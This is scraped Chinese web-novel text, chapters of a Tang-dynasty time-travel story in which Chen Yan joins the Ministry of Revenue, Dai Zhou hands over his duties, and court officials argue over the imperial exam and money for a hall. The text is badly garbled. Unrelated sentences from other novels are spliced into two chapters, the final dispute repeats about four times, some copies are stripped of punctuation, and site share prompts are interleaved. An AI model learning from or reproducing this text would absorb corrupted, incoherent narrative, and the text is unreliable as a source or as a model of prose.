“以及让诸大臣清楚地知道户部的情况,免得日后有人动不动就狮子大开口,要这要那的!” “子安兄你今天上任恐怕不清楚,戴尚书几乎整天在跟其他大臣争吵,总结下来就是一句话:没钱!” “那些人嘴巴他娘一张一闭,动不动就是多少多少贯,真以为我们户部钱财用不尽一样。” “既然如此,努力干吧!”话说到这里,房遗直也不是犹豫的人。 “正好,经过子安兄今天这一遭,我想下面的人多多少少不敢阳奉阴违了,实在不行,便熬夜干!” “吃着皇粮,不干事怎么行?” 陈衍听到这里,神色严肃,“快元日了,一年即将结束,这不仅仅是一份报告,更是我们站稳脚跟,为将来能大干一场的基石!” “倘若有人敢在里面使绊子,你们别管是谁,别管他什么背景,直接处理了!” “实在处理不了就跟我说,我他娘的‘理’、‘德’都准备好了,现在竟然没用武之地!” “......” 第529章 有关系就是好啊 尚书厅。 这里是户部尚书平日里处理公务,接见两位侍郎及下属官员的地方,乃是户部布局规格最高的地方。 怎么形容呢? 在偌大的户部里,它是一个独立的大院落,位于户部衙署建筑群的中轴线核心位置。 此时,身为户部尚书的戴胄,却并没有处理公务什么的,而是躺在一张太师椅上假寐,看起来十分悠闲。 当敲门声响起的时候,他都没睁开眼睛,淡淡道:“进来吧,门没锁。” 陈衍推门走进来,笑着打趣,“虽说您平日上朝的时候总与那些挨千刀的争执,但下了朝,倒是挺清闲的嘛。” 戴胄这才睁开眼,望着他道:“你说得不对,其实我平日里真的很忙,毕竟户部真的太重要了,任何一点差错都不能有。” “今日我清闲,那不是因为你来了吗?” “喏!” 他抬着下巴,点了点不远处的案几,以及上面摆放着的文房四宝,还有各种文书等等。 “去吧,从今天开始,都是你的活儿了。” 陈衍:“......” 听到这里,他险些没绷住。 什么叫从今天开始,那都是他的活儿了? 你不还没卸任吗? 这就当甩手掌柜了? 似乎是猜到了陈衍在想什么,他抬了抬眼,“在这片土地上,不管什么朝代,何等王朝,有一点是不变的。” “——人情!” “不管什么时候,我们中原大地的人,都讲究一个人情二字。它就像一张巨大的网,将我们连在一起。” “在贞观三年的时候,那时我还在大理寺任职,身上发生过一件很有意思的事。” “有一个九品小官被对手诬陷入狱,入的甚至还不是大理寺狱,然后他的妻子到处求人。” “可她只是一个九品小官的妻子,求的人地位高不到哪里去,也帮不上忙,但因有人情在,被求之人不好拒绝,然后被求之人也跑去求人,最后一路求到了我这里!” “说实话,在此之前我根本就不认识那个被诬陷的九品小官,但我还是帮了,不仅是因为他的确是被诬陷的,更重要的是,来求我的人,我不太好拒绝。” 说到此处,他顿了顿,“而你我之间呢,看似扯不上关系,实则任何一个人出了什么意外,另一人都无法置身事外,因为我们共同的关系实在太多。” “更何况,你待我侄子很好,专门给了他一个机会。” “所以,我也不跟你扯别的了。我们两个年初什么情况,大家心知肚明,这事呢,是你今后必须要每天面对的。” “我想着,与其一点点地交接给你,浪费你我时间,不如让你直接上手,适应户部尚书平日里需要处置的东西。” “你觉得呢?” 陈衍很耐心地听着,时不时点点头,在最后戴胄说完,他思索片刻,才开口道:“您愿意给我这个机会,我自然是求之不得。” “但我连侍郎需要做什么还没搞明白,直接让我上手尚书的公务,是不是有点......赶鸭子上架了?” “就是赶鸭子上架啊。” 令陈衍没想到的是,戴胄很坦然地承认了下来。 “不止是我在赶鸭子上架,陛下不同样是在赶鸭子上架吗?” “随着陛下与世家的冲突日渐加剧,大唐边境长期受到骚扰,面临风险,陛下需要尽快在这段来之不易的稳定期里,强势扶持一批可以信任的人上位,以此来面对将来可能会发生的意外与战争。” “你难道忘了?贞观四年初,我还在大理寺任职,当时被程咬金专门请过去抓你入狱。但没过多久我便是户部尚书了,而现在,我又将调任!” “我不依然在被赶吗?” “嗯......?”陈衍听后眉头微不可察地皱了皱。 听完戴胄一席话,他忽然意识到了从前被忽略的一些细节。 李世民两次抓住机会,对朝堂进行清扫,扶持自己人上位,但后来也曾被世家反击,从而妥协,官员又有一小批被换。 记得开始的时候,魏征好像也不在秘书省,而现在王珪即将下来,魏征又要上去...... 这两年,很多人职位好像确实换了又换。 只有杜如晦和房玄龄几人稳如泰山。 “看来你明白了。”戴胄见他神情,笑笑,“你来的不是时候,但从某种层面上,你来的又非常是时候。” “今年初的时候,你跟魏征搞出那个报纸,头一版便丢出科举将开,天子坐镇考场的消息,引起了轩然大波。” “现如今,地方考试已经结束,明年正月,便要进行最后的科考。” “再加之我方才所说,陛下与世家冲突加剧,明年还得动兵,三件大事会在明年发生。你如果能做好,将再无人质疑你,如果做不好,你可能就得下去沉淀沉淀了。” “这个我倒是明白。”陈衍颔首,“我已经做好了准备,信心嘛......也有那么一点点。” 说着,他小小地比了个指尖宇宙。 当然啦,戴胄并不懂这个梗,认真道:“那你更要努力了,尽快开始为此做准备。当然了,我同样会在这一个月里,尽可能地给你想想办法,提出一些意见给你,至于接不接纳,你自己决定。” 陈衍心里暗自感慨。 果然有关系好办事啊。 如果换个人来,戴胄还能这么尽心尽力地帮忙吗? 想想都知道不会。 陈衍沉吟道:“我有一个问题,蔡国公此前跟我说,现在有不少人盯着您现在这个位置,方便问一下都有谁吗?” 对于他这个问题,戴胄并未第一时间回答,而是反问道:“先不说都有谁,我就问你,他们能撼动得了你吗?” 嗯? 说实话,陈衍此时迟疑了,思忖良久,他缓缓摇头,“如果不是我自己出差错,应该撼动不了。” “既然如此,你担心什么?” 戴胄说话很直接,“我跟杜如晦的看法不一样,他可能更担心你自身,而我更在意你未来是否能坐稳这个位置!” “再一个,对于这个问题,你更应该问杜如晦,他比我更了解,其中的缘由,我想你能明白。” “现在我能给你的建议就是......早做打算!” “......” 第530章 谁让朕看重的户部尚书,他只有二十岁呢? 说是让陈衍处理公务,但实际上,戴胄今天并未让他处理什么。 一整天下来,戴胄都在让陈衍熟悉目前户部的基本情况,当然,不是官员都有谁之类的情况。 而是户部当前剩下多少钱、登记在册的户籍人口有多少,田地有多少等数据。 可能早有准备,各类账册与文书整理得清晰齐整,条理分明,就好像专门等着他来翻阅。 当然,户部不止陈衍一个人在忙,外面的杜构和马周等人比他可忙多了。 起码陈衍只用翻阅各类文书账册,把大概的东西记住就好。 而杜构他们则是要将一年的出入账目、凭证、账册、文书等等全部整理出来,然后一点点查看,汇总、记录。 不谈其他,光户部一整年的出入账目就足以堆成一座小山了。 而韩仲良和康崇也没闲着,疯了一样追着今早报出名字的那些人查,想找出他们贪污的证据。 在晚些的时候,房遗直从堆满文书账本的案几上抬起头来,看着外面天色暗沉下来,沉默片刻,突然笑了。 杜构疑惑地问:“房兄为何发笑?” “你难道不觉得子安兄身上有一种特别的......嗯,魅力吗?”房遗直稍显迟疑,想了一会儿,吐出了一个不怎么合适,但较为贴切的词。 “魅力?” 另一边的马周扬了扬眉,环视一圈忙碌的户部,似乎理解了房遗直的意思。 “怎么说呢?” 杜构没太明白。 陈衍一个大男人,谈何魅力? “或许是我的用词有误......”房遗直顿了顿,直言道:“杜兄难道没发现吗?自从子安兄来了之后,户部立刻就变得不一样了。” “不仅是户部,从前的渭南县,以及各个地方都一样。” “你看!”他指了指周围不断有行色匆匆的官员走过,几乎全部都抱着账目等物品,有的甚至还会因为太过着急而摔倒。 可即便是这样,他们也会马上爬起来,生怕自己耽误了事。 “原本的户部不说如一潭死水,但也可以用毫无波澜来形容,每天与人争执、唇枪舌剑、到处忙碌的大多是品阶高的官员。” “底层的官员就仿佛在混日子一样,得过且过。” “然而子安兄一来,户部便立即进入了一种紧张的氛围,所有人都不敢再偷懒了。” 听完房遗直一席话,杜构定定地看了周围一圈,深以为然地点点头。 马周沉吟道:“陈侍郎看似放荡不羁,实则一言一行都暗藏深意,就如同今天我们没回来的时候......呵呵,我只能说,这些人现在也不敢偷懒。” “......” 皇宫,甘露殿。 李世民今天一反常态地没有去后宫,而是端坐着,一手撑着下巴,淡淡道:“子安今天上任,到了现在,应该有消息传回来了吧?” 无舌躬身道:“回陛下,应该快了,现在天色已晚,今天的消息估计马上传回来了。” “嗯。”李世民闭了闭眼,“你认为子安今天是闹出点大事,明日给朕一个大惊喜,还是举起屠刀,明日让朕头疼?” “呃......”无舌一时间有些犹豫,想了想,试探性道:“按照渭国公的性子,刚上任,他应当不会把情况弄得一团糟,很可能是打压一批人,然后拉拢一批人。” “打压谁呢?”李世民眼皮不睁,“现在的户部,都快被朕打造成他的一言堂了,有谁能被他打压?” “韩仲良?他是个识时务的,不说纳头便拜,估摸着也差不多。” “还有几个可有可无的,都不重要。” 无舌不敢说话了,有些问题不是他这种人可以插嘴的。 “哎~” 李世民睁开眼,“如果他平凡些,朕不至于如此着急地赶他上来,一边给予他大的帮助,一边又给他巨大的压力。” “在户部还好,朕担心的是,年初户部尚书的位置定下来,届时他面临的质疑和暗箭估计不少。” 无舌沉默了良久,殿中安静了下来。 半晌,他突然开口说话了,“陛下,奴婢道一句不该说的,渭国公这样的人物,奴婢活了这么多年,真的没见过。他的想法,他看待事情的方式太不一样了,每每能给予奴婢极大的震撼。” “说真的,当初渭国公提出立下功德碑,硬逼着文武百官、勋贵富商捐钱的时候,奴婢真正意识到了自己与天才的差距。” “这等人物,不能用常理来看待!” “昔年,倘若不是汉武帝看重那位少年,没有因为年龄而小觑他,那么历史上还会有一战封侯、勇冠三军的冠军侯吗?” “呵呵......” 李世民轻笑,心情莫名好了许多,手指轻轻点了点他,“你这条老狗的话倒是颇有几分道理。” “是啊,有些人,他就是不能用常理来看待的!” 这时,一名宦官轻轻小跑着过来,手中捧着一封信件。 “陛下,户部那边的消息传回来了。” “呈上来!” 李世民眼睛一亮,挥手起身。 无舌清楚李世民今天就在等着这份消息,不敢耽误,赶紧从那名宦官手中接过信件,呈了上去。 李世民当即拆开,一词一句地观看起来。 当他看完,神色稍显怪异,随后哭笑不得。 “这小子倒是有趣,头一回听说把下面官员召集起来,明明白白告诉他们自己要立威的,还找了老实人出来指认......嗯,应该说是被压制了十几年的老实人。” “啧,朕忽然有些失望是怎么回事?这小子不给朕弄点事出来,朕一时间竟然有点不习惯了。” 一边说着,他一边走下来,背着手,来回踱步。 沉思一会儿,李世民扭头问:“你说,等年初的时候,朕宣布子安为户部尚书,谁会跳出来反对?” “这......奴婢不知......” 无舌斟酌着措辞,继续说:“不过,渭国公终究太年轻了,且锋芒太盛,反对的人少不了。” “少不了就少不了吧!”李世民随手将信件在蜡烛上点燃,丢入火盆,背着手往外走。 只余一道霸气的声音传回来。 “他们反对又如何?锋芒太盛又如何?年仅二十岁的户部尚书又能如何呢?” “谁让朕看重的户部尚书,他只有二十岁呢?!” “......” 第531章 谁能挡我?谁敢挡我? 翌日,常朝前。 陈衍身着官服,迈着六亲不认的步伐前往太极殿。 此时,殿前已经聚集了不少官员,不过因为时辰尚早,故此稍显随意,大家三三两两地站在一起交谈。 当他出现的那一刻,殿前骤然安静片刻,目光全部聚焦在他身上。 毕竟陈衍是目前长安风头最盛的人,一跃从六品小县令,成为户部侍郎,谁听了不觉得心惊? 许多人脚步轻抬,想上前与之交谈或者巴 她开始彻底相信,特种兵圈子里面的那些事情都是真的,这个男人……简直就是牲口。 “干妈!你刚才说什么好玩的?”张玥吃了一口饭,才想起来,刚才干妈好像在说下午带她去玩,不知道是什么,还好她记忆力不错,要不然与李锋斗嘴都忘记了。 “武伯父,你刚才可是吓我一跳!”武士彟把话说完,程处嗣松了一口气,只要是为李锋好的,他就放心了,他还真怕武士彟是为抓李锋而来,那就麻烦了,他们来这里也没有用,所以他练称呼都变了。 于是乎,严重错估羽夜实力的伽治,就这么带着全家来怼羽夜来了。 不过,吴乃华知道,这紧紧只是片刻的安宁。但愿这些百姓能够吸取教训,在家中多采购一些备用的粮食与物资吧。 他的心灵之中,阴暗角落里滋生出另一个王超,对涌进来的暗黄色魔气来者不拒,嘎嘎怪笑着,大口大口吞吃。 没了,青铜古棺,就相当于没有了阵法的阵眼,这样一来,这些煞气就会混乱不堪从而制造离开这里的机会。 “哈哈,我还以为是一个建筑物呢,你的签名太艺术化了。”赵怪哈哈一笑。 王超一屁股坐在山涧溪边的石头上,郁闷地对自己的头发使出疯狂乱抓。 和陈笑全身伤口的凄惨样子比起来,他的身上要干净的多,除了袖口和裤线边缘有一些血渍之外,甚至看不出有什么打过架的痕迹。 甄学希随后也对余晖进行了安抚,告诉余晖除了周总主管的改签合同,余晖在球队不会有任何麻烦。而合同只要余晖保持现在状态,越晚改签越有利,到赛季结束,甄学希也会帮他争取更有利的条件。 不论是多斯的远距离支援,还是刚刚这个惊天的巨响,都已经达到了近乎于神技的范围。 本来叶知秋也就打算,让庞昊去探个路的,他现在自报奋勇,正好。 要是被自己的忍术击中而死,那可就搞笑了,简直是给穿越者丢脸。 “手机先生,麻烦过将飞机与地面的连接信号切断。”他说着。不过飞机上应该是没有信号的,所以他更像是在自言自语。 “陆头领,你有什么想法?”罗相云知道事情坏就坏在这个哨兵团头领手上,如果不是他建议减酬,也不至于走到今天这一步。可惜,哨兵团的前身是陆空间的监测部门,那些情报员大部分只听陆氏宗族的。 “普通法师,圣境法师,界主法师,至尊法师,你听过吗?”烨星斗决定问清楚一点。 当然这个排名只坐了一天,第二天拜仁慕尼黑3:1战胜因戈尔斯塔特后,立刻又重新把弗赖堡挤到了第二名。 既然这样的话,那就让表姐谈一场不求结果不求圆满的恋爱吧,她也不说什么风凉话了,更不用去想尽办法反对了,就让一切自然地发展下去吧。 阳光透过玻璃洒在了他们的身上,此时他们的两人看起来是如此的相配,而且还笑得那般的开心,任谁也不会忍心去打扰他们。 第532章 死嘴,憋住啊! 很快,常朝时辰到了。 一名宦官出来宣召入场,诸多官员井然有序地走进太极殿内。 等大家都到场,李世民走出来,坐在他的专属御座上。 待众臣行礼,李世民伸手虚抬,“众爱卿平身。” “谢陛下!” 李世民轻描淡写地扫了眼戴胄背后的陈衍,无舌站出来,用较为尖锐的声音喊:“有事启奏,无事退朝。” 让所有人都没想到的是,陈衍率先站了出来 说完,他双手扒着自己的胸腔,随后奋力咬着牙,将自己的胸腔扒开一个大口。 大唐规定,土地如果荒芜的话,一年就会增加田赋,两年的话,继续增加同时警告,如果三年的话,就会被收回去。 在场的存在能说话的也就该隐一个了,其他全都被该隐的气势给狠狠的压制住了,王靳还在阿拉德市的其他地方,只是一直观察着这里而已。 李察皱起了眉头,敌人的人数又增加了,并且敌人占据着地利,还拥有着令人头疼的各种战术。 突然,她愣了一下,站在她面前不远处的圆圆,相貌俊俏,身材高挑,犹如风雪中的一株腊梅,芬芳四溢,傲然挺立。 贝尔萨不停的做着指示,要求自己的球员站位走位,帮助球队控制球权,马斯切拉诺开始频繁的站在中后卫之间,增加卡梅尼的出球点。 随着一股股污血从他皮肤各处的毛孔流出,加上他两只眼珠诡异地被浑浊发臭的液体冲出眼眶,他身上开始迅速弥漫起死气。 禁不住方舟的再三请求,方羽开始介绍起建康府来。这话可就说来长了。 “你这是何意!”定逸师太对王靳产生了敌意,毕竟她现在以为贾人达是个好人,看贾人达被打的手都抬不起来,自然不爽。 天与地之间一切的存在,被某种狂霸的力量洗刷得只剩下单纯的线条。 “是吗?那我倒要看看你是真的有骨气还是嘴硬,不过我可不负责收尸”赵信威胁的说道。 “你就不想知道我为什么要花费这么大的力气在这里等你?难道只是为了跟你说几句没有营养的话吗?”魏玄通忽然道,眼睛盯着叶起,满脸的平静。 不过看老板好像完全不考虑关之林的样子,陈佳上也只好闭口不提。 “如果有轮回,那岂不是代表着本源构成的是一个环?”肖毅有些愕然的说道。 此时清濛身体微微晃动,脸色苍白,她在叶起刚用出风火大劫的时候就开始窥探天机,此时终于得到了一丝信息,不过显然,这对她的伤害也极大。 或许是因为李落这样淡漠生死,却又记挂天下苍生的气度,黑衣人怔了怔,暗处的杀手也都放缓了脚步。 他就让亚视先折腾一下!当然,如果亚视拍得很好的话,成伟梁不介意贡献出几本真正经典的韩剧或大陆剧出来。如果拍不好,那他就偶尔拿点台剧出来算了,精品剧留给自己。 紧咬着牙抗拒着心中越来越炙热的气息,宋成杰的灵力疯狂运作,密林中陡然升腾起呼啸的狂风,而即便是这看上去声势骇人的狂风也似乎无法吹散他的烦热,无论灵力如何注入经络和血管,身体的异样都没有多少改观。 “主上又在拉拢部下了。”漆黑的术式托举着碎砖碎石,黑耀路过风之叹息的时候特地的停了一下,远远的看着聊得正欢的宋成杰和老席两人,总觉得有那么一些违和,毕竟两人的年纪差的也太大了。 第533章 主持人选 “好了,此事就到此为止吧!” 李世民生怕陈衍继续给他整幺蛾子,赶紧挥手,“陈爱卿先回去吧。” “回不了一点陛下,臣还有事要奏!” 李世民:“.” 众大臣:“.” “你”李世民眼角不断抽搐,眼见陈衍态度似乎很坚决,索性破罐子破摔。 今天人家上朝第一天,随他去吧。 “是这样的陛下。”陈衍作揖,“自年初以来,陛下放出了科举的消息,到了现在年底,天下诸多学子已然经历了多轮考试,明年初便要进行最后一次考试,即陛下您承诺亲自坐镇的考试。” “但您坐镇归您坐镇,这是我大唐自贞观元年以来,第二次科考,陛下您承诺亲自坐镇考场,不正代表了您重视科考吗?” “既然重视,那么各种流程制度,以及由谁来主持年初最后的科考,还是需要提前商定,以免届时草草决定,误了大事,让天下学子如何看待我等?” 他的话音落下,朝堂上窃窃私语不断传来,不少人眼眸闪烁,似乎在思量什么。 连杜如晦等人都沉默了下来。 这次陈衍没有整事,提出的确实是一个相当重的问题。 实际上,关于科考的各种规矩制度他们经过一年的不断商议、查缺补漏,已经有了完整的结果了。 可就像陈衍所说,李世民坐镇归李世民坐镇,然而由谁来主持,却是一个问题。 李世民习惯性地摸了摸自己的小胡子,思忖片刻,抬头,“众爱卿认为由谁来主持这个科考?” 魏征此时提议道:“不如就让陛下兼任吧,陛下坐镇,实则是担任主考官,既然如此,让陛下兼任主持,说不定能让天下学子更为振奋些,待消息传出,等下一次科考,天下学子或许会更为努力。” 话毕的那一刻,不少人暗自点头,认为这是个不错的方法。 连李世民都对其颇为认可。 想着反正都当主考官了,兼任主持也没什么问题。 现在大唐有 了活字印刷术,有了陈衍的图书馆,科举的制度也在一点一点完善。 今后的科举定然是选拔官员最重要的渠道,再重视都不为过。 “不可!陈衍否定魏征的提议:“陛下既已坐镇考场,担任主考官,怎能继续兼任主持? “圣威惶惶,任主考官已是莫大的荣幸,倘若让陛下兼任主持,将陛下威严置于何处? “难不成,圣威比科举,比未来一批又一批的国家栋梁还重要吗? 魏征毫不迟疑地反驳,说出来的话让不少人都低下了头,“再者,陛下愿意在任主考官的同时,兼任主持,不正说明了陛下亲民吗? “有如此深明大义又亲民的君主,学子们难道不更应该感到荣幸与感激吗? 听到前面那句话,李世民额头冒出黑线。 很好,这很魏征! 但听到后面,他心情一下子又舒畅了。 对! 朕就是这样! 主打一个亲民! 在这一刻,他差点忍不住直接开口答应魏征的提议了。 然而,陈衍却摇了摇头,“魏大人误会了,下官并非这个意思。 他知道魏征性格,故此没有生气,淡淡道:“陛下乃一国之君,需要保持自身威严,适当的亲民确实好,但正所谓过犹不及! “如果太过亲民,导致有不开眼的得寸进尺,认为陛下好欺负呢?什么叫明君? “能威压朝堂,能治理好天下,便是明君! “陛下已然远远超出了这个范畴,就更要保持好威严,以免有人上蹿下跳,认不清自身。 众大臣,包括李世民在内纷纷蹙眉。 魏征和陈衍两人都有各自的理,不能说谁对谁错,只能说两人考虑的问题确实存在。 “照你这么说的话,索性也别让陛下坐镇考场,任主考官了,以免影响到陛下威严!魏征冷哼,挥了挥袖子。 他对陈衍印 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魏征默然“臣明白了陈侍郎想提议由谁来担任主持。” “哦?是谁呢?说来与朕听听。方才你还在跟陈爱卿争执现在却又认可了他朕属实好奇这个人到底是谁啊!” 他深深作揖下去“陛下臣提议让太子殿下担任主持只有他才是最合适这个位置的人选其余人都不够资格!” 自始至终在吃瓜津津有味的李承乾顿时两眼懵逼。 啊? 我? 当魏征的话说出口的那一刻不止李承乾懵了一下除了几个猜到的人其他人都怔住了。 随后皆是纷纷点头。 倘若李世民是主考官那么身为太子的李承乾毫无疑问是最合适的主持人选。 天子坐镇考场太子主持科举! 还有比这更合适的吗? “.” 第534章 朝堂上的芬芳 “陈爱卿是这个意思吗?” 李世民对着陈衍询问了一句。 后者自然是这个意思便道:“是的陛下臣就是这个意思!” “由您担任主考官由太子殿下主持足以让天下学子感受到足够的重视臣想若是如此的话即便今年有学子落榜了也定然不会灰心。” “当他们经过层层考试踏进最后考场见到您与太子殿下的时候怕是已经觉得不虚此行了。” 李世民闻言点点头没有第一时间表态环顾一圈“众爱卿认为陈、魏两位爱卿的提议如何?” “臣等附议!” 事情发展到现在是个明眼人都能看得出来李世民已经接纳了两人的提议否则的话不会询问他们了而是直接反驳。 众大臣又不是傻子自然不会在这个时候跳出来反对。 “那么.太子你觉得呢?” 李世民最后目光定格在李承乾身上。 “父皇儿臣倍感荣幸!” 陈衍都如此帮他了李承乾怎么可能在这个时候掉链子当然是立马答应啦。 “很好!” 李世民颔首“此事就先这样定下来稍后由杜爱卿拟定一个章程出来 “陈爱卿你先回去吧。” 说后面这句话的时候他语气已经带上了些无奈。 李世民觉得陈衍很可能又要跳出来他甚至已经做好了平淡应对的准备。 只是他忘了陈衍从来是个出人预料的人这次没再说什么乖乖行礼退到了戴胄背后。 李世民:“.” 白做心理准备了! “可还有事要奏?”他又问了一句。 此时在前方的工部尚书段纶犹豫片刻站出来道:“陛下臣有一事。” “爱卿但说无妨。” “是这样的.年初之时您提出开科举而且今后要常开需要一个专门用来给天下学子考试的场地 ,不能如从前一样用‘尚书省都堂’应付。” “故此下令工部于务本坊(位于皇城正南,国子监所在地)修建‘文明’殿,工部也确实按照您的要求去办了,只是因为户部总是批不下来钱,所以直到现在‘文明’殿还未曾修建好!” 他不说还好,一说起这个,原本已经不打算管事的戴胄眼睛登时红了,“彼其娘的!” “狗屁的户部批不下来钱!姓段的,你摸着自己的良心好好说说,户部没给你们批钱吗?” “从年初到现在,零零散散的我就不说了,光是数额超过十万贯的条子,我都给你批了三次,你好意思说我不给你批钱!” “**” 开口的一刹那,太极殿内芬芳四溢,戴胄不愧是读书人,各种优美的词汇信手拈来,用词遣句简直出神入化,直教人佩服得紧。 然而,尽管他在这里口吐芬芳,其他人却一脸的理所当然。 连李世民都没觉得有什么不好。 这**才是朝堂应该有的氛围嘛! 你以为上朝的官员都很严肃? 不不不! 你想多了! 其实,朝堂每天都是花香四溢的,闻起来、听起来那叫一个心旷神怡。 段纶也火了,“你知道什么叫‘文明’殿吗?《周易》里记,“见龙在田,天下文明”,正合科举‘以文治选拔人才,促成天下文明’的目标。” “如此重要的场所,岂能马虎?” “更何况‘文明殿’只是主殿,其他还有两侧的‘誊录所’,考官评卷的‘衡鉴堂’、存放考卷的‘文昌库’,你户部整天扣扣搜搜,就给个三瓜两枣的,你打发叫花子呢?” “那你想怎样,啊?告诉我!你想怎样?”戴胄毫不示弱,“从年初户部陆陆续续都给你们批了多少钱了?就**一座建筑,它就算再重要、再严肃,能花费到哪里去?” “我不说多了,为了‘文明殿’户部批给你们五十万贯有了吧?” “你告诉我,什么殿用得着五十万贯?而且还不够?” “一天天这个要钱,那个要钱,你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够. 戴胄冷哼,挥着袖子,“呵呵.依我看,你该好好查查你们工部了! “你什么意思?段纶怒视,“你在怀疑我们工部中饱私囊? “难道不是吗?戴胄怒道:“那请段大人告诉我,建造什么殿,用得着五十万贯? “五十万贯都够买你十条命,剩下的钱还能请满朝文武吃三年烧饼了,你跟我说不够? “戴大人需要我把各项花费,仔仔细细,一条一条摆在你面前吗?段纶深呼吸一口,冷着脸。 “你摆啊! 戴胄才不相信,“你敢摆,我就敢看! “反正要钱是没有,户部已经批了三次了,够多了!!! 段纶:“所以,戴大人是要阻碍科举,视为此准备多年的学子如无物,视陛下的命令如随意之言吗? “少**给我戴帽子!戴胄道:“我已经说了,户部为此给工部批的钱够多了! “如果你们觉得不够,那你们派人来抢啊! “彼其娘的,真拿我们户部当软柿子了?是个人都来捏捏? “我坚持自己的观点,你该好好查查你们工部了!! 李世民听着只想打瞌睡,这也是他想让陈衍当户部尚书的原因。 这玩意吧,你不是块硬骨头,没点骂人的小词儿,你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理,一年下来,陆陆续续批了五十万贯,居然没建成一个用于科考的‘文明殿’,这属实说不过去。 陈衍那小子昨天刚上任,便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低,一年了,竟然还没建成‘文明殿’。 哪怕因为钱不够,也该早些提出来才是。 这眼看便到年底,明年开春就是科考的时候,今天若不是陈衍提出主持的事,段纶会不会提此事还不好说。 “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “一天天这个要钱,那个要钱,你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够. 戴胄冷哼,挥着袖子,“呵呵.依我看,你该好好查查你们工部了! “你什么意思?段纶怒视,“你在怀疑我们工部中饱私囊? “难道不是吗?戴胄怒道:“那请段大人告诉我,建造什么殿,用得着五十万贯? “五十万贯都够买你十条命,剩下的钱还能请满朝文武吃三年烧饼了,你跟我说不够? “戴大人需要我把各项花费,仔仔细细,一条一条摆在你面前吗?段纶深呼吸一口,冷着脸。 “你摆啊! 戴胄才不相信,“你敢摆,我就敢看! “反正要钱是没有,户部已经批了三次了,够多了!!! 段纶:“所以,戴大人是要阻碍科举,视为此准备多年的学子如无物,视陛下的命令如随意之言吗? “少**给我戴帽子!戴胄道:“我已经说了,户部为此给工部批的钱够多了! “如果你们觉得不够,那你们派人来抢啊! “彼其娘的,真拿我们户部当软柿子了?是个人都来捏捏? “我坚持自己的观点,你该好好查查你们工部了!! 李世民听着只想打瞌睡,这也是他想让陈衍当户部尚书的原因。 这玩意吧,你不是块硬骨头,没点骂人的小词儿,你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理,一年下来,陆陆续续批了五十万贯,居然没建成一个用于科考的‘文明殿’,这属实说不过去。 陈衍那小子昨天刚上任,便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低,一年了,竟然还没建成‘文明殿’。 哪怕因为钱不够,也该早些提出来才是。 这眼看便到年底,明年开春就是科考的时候,今天若不是陈衍提出主持的事,段纶会不会提此事还不好说。 “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “一天天这个要钱,那个要钱,你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够.” 戴胄冷哼,挥着袖子,“呵呵.依我看,你该好好查查你们工部了!” “你什么意思?”段纶怒视,“你在怀疑我们工部中饱私囊?” “难道不是吗?”戴胄怒道:“那请段大人告诉我,建造什么殿,用得着五十万贯?” “五十万贯都够买你十条命,剩下的钱还能请满朝文武吃三年烧饼了,你跟我说不够?” “戴大人需要我把各项花费,仔仔细细,一条一条摆在你面前吗?”段纶深呼吸一口,冷着脸。 “你摆啊!” 戴胄才不相信,“你敢摆,我就敢看!” “反正要钱是没有,户部已经批了三次了,够多了!!!” 段纶:“所以,戴大人是要阻碍科举,视为此准备多年的学子如无物,视陛下的命令如随意之言吗?” “少**给我戴帽子!”戴胄道:“我已经说了,户部为此给工部批的钱够多了!” “如果你们觉得不够,那你们派人来抢啊!” “彼其娘的,真拿我们户部当软柿子了?是个人都来捏捏?” “我坚持自己的观点,你该好好查查你们工部了!!” 李世民听着只想打瞌睡,这也是他想让陈衍当户部尚书的原因。 这玩意吧,你不是块硬骨头,没点骂人的小词儿,你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理,一年下来,陆陆续续批了五十万贯,居然没建成一个用于科考的‘文明殿’,这属实说不过去。 陈衍那小子昨天刚上任,便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低,一年了,竟然还没建成‘文明殿’。 哪怕因为钱不够,也该早些提出来才是。 这眼看便到年底,明年开春就是科考的时候,今天若不是陈衍提出主持的事,段纶会不会提此事还不好说。 “.” 你的朋友正在书荒,快去帮帮他吧 “一天天这个要钱那个要钱你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够.” 戴胄冷哼挥着袖子“呵呵.依我看你该好好查查你们工部了!” “你什么意思?”段纶怒视“你在怀疑我们工部中饱私囊?” “难道不是吗?”戴胄怒道:“那请段大人告诉我建造什么殿用得着五十万贯?” “五十万贯都够买你十条命剩下的钱还能请满朝文武吃三年烧饼了你跟我说不够?” “戴大人需要我把各项花费仔仔细细一条一条摆在你面前吗?”段纶深呼吸一口冷着脸。 “你摆啊!” 戴胄才不相信“你敢摆我就敢看!” “反正要钱是没有户部已经批了三次了够多了!!!” 段纶:“所以戴大人是要阻碍科举视为此准备多年的学子如无物视陛下的命令如随意之言吗?” “少**给我戴帽子!”戴胄道:“我已经说了 “如果你们觉得不够那你们派人来抢啊!” “彼其娘的真拿我们户部当软柿子了?是个人都来捏捏?” “我坚持自己的观点你该好好查查你们工部了!!” 李世民听着只想打瞌睡这也是他想让陈衍当户部尚书的原因。 这玩意吧你不是块硬骨头没点骂人的小词儿你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理一年下来陆陆续续批了五十万贯居然没建成一个用于科考的‘文明殿’这属实说不过去。 陈衍那小子昨天刚上任便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低一年了竟然还没建成‘文明殿’。 哪怕因为钱不够也该早些提出来才是。 这眼看便到年底明年开春就是科考的时候今天若不是陈衍提出主持的事段纶会不会提此事还不好说。 “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “一天天这个要钱,那个要钱,你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够. 戴胄冷哼,挥着袖子,“呵呵.依我看,你该好好查查你们工部 